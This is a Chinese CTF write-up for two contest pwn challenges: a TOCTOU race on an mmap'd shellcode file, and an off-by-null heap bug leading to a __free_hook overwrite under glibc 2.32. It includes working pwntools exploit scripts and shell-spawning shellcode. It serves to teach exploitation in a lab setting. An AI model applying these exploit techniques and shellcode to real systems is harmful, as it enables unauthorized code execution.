tsctf-j2023 strange_code_runner e_order wp

发布时间 2023-09-26 22:16:49作者: giacomo捏

strange_code_runner

程序功能

这是一个可以执行 shellcode 的小程序,三个选项依次是edit、load、run,运行一下简单了解一下这个可执行文件的功能:

1. edit code
2. load code
3. run code
>>>1
>>>AAAAA

>>>2
load success

>>>3
unable to pass the check

我们仔细看这三个功能:edit 读取输入写进名为 code 的文件

void edit_code(){
    int fd;
    char buf[0x20];
    fd = open("code", O_RDWR);
    printf(">>>");
    read(0, buf, 0x20);
    write(fd, buf, 0x20);
    close(fd);
    return ;
}

load 功能中获取文件的内容,不过用到的不是常见的 read 函数读文件的内容,而是不太寻常的 mmap ,至于不寻常在何处,后文会详细展开。

void load_code(){
    if(is_load){
        puts("already loaded");
    }else{
        int fd;
        fd = open("code", O_RDWR);
        code_addr = mmap(NULL, 0x20, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
        is_load = 1;
        puts("load success");
    }
    return ;
}

run 选项检查 shellcode 的字符是不是在 0x50-0x55 之间,然后跳转到 shellcode 的地址执行(jmp rax)。

void run_code(){
    if(is_load && code_addr){
        int i=0;
        while (i<0x20)
        {   
            if(code_addr[i] < 'P' || code_addr[i] > 'U'){
                puts("unable to pass the check");
                return ;
            }
            i++;
        }
        puts("are u sure to continue");
        puts("1. continue");
        puts("2. no");
        uint32_t choice = read_uint();
        if(choice == 1){
            asm("jmp * %[addr]" : [addr] "+r" (code_addr));
        }
    }else{
        puts("code not load");
    }
    return ;
}

0x50-0x55 对应的 opcode 是几个 push 操作,看起来有限的几个字符构造出来的 shellcode 很难进行下一步操作,比如 getshell 或者继续读一段新的不受限制的 shellcode。

mmap

这时我们回到之前提到的 mmap 函数,这个函数的功能不仅是读文件而已—— mmap 把文件和进程的地址空间映射,进程可以操作这一段内存,而系统会自动把修改的内容写入文件,同样文件中的修改也会反映到内存。

image-20230925233213624

如果我们可以在成功通过检查检查之后修改内存里面的 shellcode,是不是可以执行任意字符组成的代码了?也就是说,我们先输入一段可以通过检查的 shellcode,在检查之后准备运行之前,我们新开一个连接把全新的内容写入 code 文件,mmap 映射会帮我们把更改的文件同步到内存区域,即将要执行的 shellcode 就被改变了:

image-20230926000204320

这种在检查和执行的时间差中间更改了内容的手段被称为 TOCTOU (time of check, time of use)。

shellocde

这样的话思路就清晰了,我们需要重新写入一段小于 0x20 的 shellcode 拿到 shell,不过 pwntools 自带的构造出来的有点太长了:

>>> len(pwn.asm(pwn.shellcraft.sh()))
44

这里我们可以自己写一小段,( 当然也可以从 exploit db 找一段来

from pwn import *
sc='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
len(asm(sc)) # 28

exp

所以完整的 exp 可以长这样:

from pwn import *

elf_path = "./pwn"
ip = "ctf.buptmerak.cn"
port = "20022"
content = 1

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
    p = process(elf_path)
    p1 = process(elf_path)

else:
    p = remote(ip, port)
    p1 = remote(ip, port)


sla = lambda x, y: p.sendlineafter(x, y)
sla1 = lambda x, y: p1.sendlineafter(x, y)

# ----------------------------------------------------------

bin_sh_sc='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
sla(b'>>>', b'1')
sla(b'>>>', b'P'*0x20)
sla(b'>>>', b'2')
sla(b'>>>', b'3')

sla1(b'>>>', b'1')
sla1(b'>>>',  asm(bin_sh_sc))
sla(b'>>>', b'1')
p.interactive()

(知道了漏洞点之后就会觉得这也有点明显了,谁执行 shellcdoe 还特意读写文件呢。

eorder

功能

这是一个简单的 eorder 订餐系统,有增加、修改、查看、删除订单四个选项,用到的结构体如下:

typedef struct {
    char name[16];
    int choice;
    int time;
    char dormitory[8];
    char* note_addr;
} order;

在堆中这些变量是这样布局的:

image-20230926105033350

off by null

在读取字符数组时有一个 \x00 的溢出

void read_str(char * buf, int size ){
    printf(">>>");
    int read_size = read(0, buf, size);
    buf[read_size] = 0x00;
    return ;
}

也就是说,如果输入 0x10 字节的 name 或者 0x8 字节的 dormitory,多余的一个 \x00 字节会溢出到下一个变量,可以在 modify 的时候更改指向 note 的指针。

image-20230926105122166

比较特殊的 index = 2 的 order,如果 dormitory 溢出一字节更改后的指针正好指向这个指针本身 (下图的 0x561fe413b400),这样就可以自由修改这个指针来读取或修改任意的位置信息。

for i in range(2):
    add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'a', 1, 2, 'a'*7, b'tsctf-j')
pause()
modify(2, 'a', 1, 2, 'a'*7, b'aaa')   
image-20230926110501956

思路

glibc2.32 下,freehook 还是可以利用的,我们的目标就是利用上面这个任意写的指针更改 free hook 的内容为 system 或 one_gadget 等。

首先泄露 heap 的地址,在 add 之后打印内容,可以在打印 domitory 时候连带出堆的地址:

# heap base
for i in range(2):
    add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
show(2)
ru(b'a'*7 + b'\n')
heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420
leak('heap_base', heap_base)
image-20230926115331518

过程中比较难的是如何泄露 libc 的基址。可以修改某一个堆大小到 unsortedbin 的范围,然后打印其内容,注意这里有一个检查该 free 的 chunk 的下一个 chunk 的 pre_inuse 位,因此要提前申请大量的 chunk,或者用任意写的指针改一下。

nextchunk = chunk_at_offset(p, size);

/* Or whether the block is actually not marked used.  */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
  malloc_printerr ("double free or corruption (!prev)");

大概是这样

for i in range(3, 15):
    add(i, 'a', 1, 2, 'a', b'a')

modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))
modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
delete(3)
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00
show(2)
malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
leak('malloc_hook', malloc_hook)

接下来就是修改 hook:

free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))
modify(2, 'a', 1, 2, 'a', p64(system_addr))
add(15, 'a', 1, 2, 'a', b'/bin/sh')
delete(15)
p.interactive()

exp

完整的脚本如下

from pwn import *

elf_path = "./pwn"
libc_path = "/home/giacomo/tools/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6"
ip = ""
port = ""
content = 1

context(os='linux',arch='amd64')
if content == 1:
    p = process(elf_path)
    # p = gdb.debug(elf_path)

else:
    p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

def add(index, name, dish, time, dorm, note):
    sla(b'>>>', b'0')
    sla(b'>>>', str(index).encode())
    sla(b'>>>', name.encode())
    sla(b'>>>', str(dish).encode())
    sla(b'>>>', str(time).encode())
    sla(b'>>>', dorm.encode())
    sla(b'>>>', note)

def modify(index, name, dish, time, dorm, note):
    sla(b'>>>', b'1')
    sla(b'>>>', str(index).encode())
    sla(b'>>>', name.encode())
    sla(b'>>>', str(dish).encode())
    sla(b'>>>', str(time).encode())
    sla(b'>>>', dorm.encode())
    sa(b'>>>', note)

def delete(index):
    sla(b'>>>', b'3')
    sla(b'>>>', str(index).encode())

def show(index):
    sla(b'>>>', b'2')
    sla(b'>>>', str(index).encode())

# heap base
for i in range(2):
    add(i, 'a', 1, 2, 'a', b'a' )
add(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
for i in range(3, 15):
    add(i, 'a', 1, 2, 'a', b'a')
show(2)
ru(b'a'*7 + b'\n')
heap_base = u64(rx(6).ljust(8, b'\x00')) - 0x420
leak('heap_base', heap_base)

# libc base
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x470))
modify(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
delete(3)
modify(2, 'a', 1, 2, 'a'*7, p64(heap_base + 0x481)) # skip \x00
show(2)
malloc_hook = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
leak('malloc_hook', malloc_hook)
libc  = ELF(libc_path)
libc_base = malloc_hook - libc.sym['__malloc_hook']
leak('libc_base', libc_base)

# hack
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
modify(2, 'a', 1, 2, 'a'*7, p64(free_hook))
modify(2, 'a', 1, 2, 'a', p64(system_addr))
add(15, 'a', 1, 2, 'a', b'/bin/sh')
delete(15)
p.interactive()

难点主要是找一个可以到处读写的指针,除此之外因为涉及 free 操作的检查和地址泄露,对 glibc 也要比较了解吧。这题作为新生赛有点挑战的(出题人自我反省 ing),所以 wp 尽量写详细了,如果有没讲明白的地方欢迎联系我捏 ?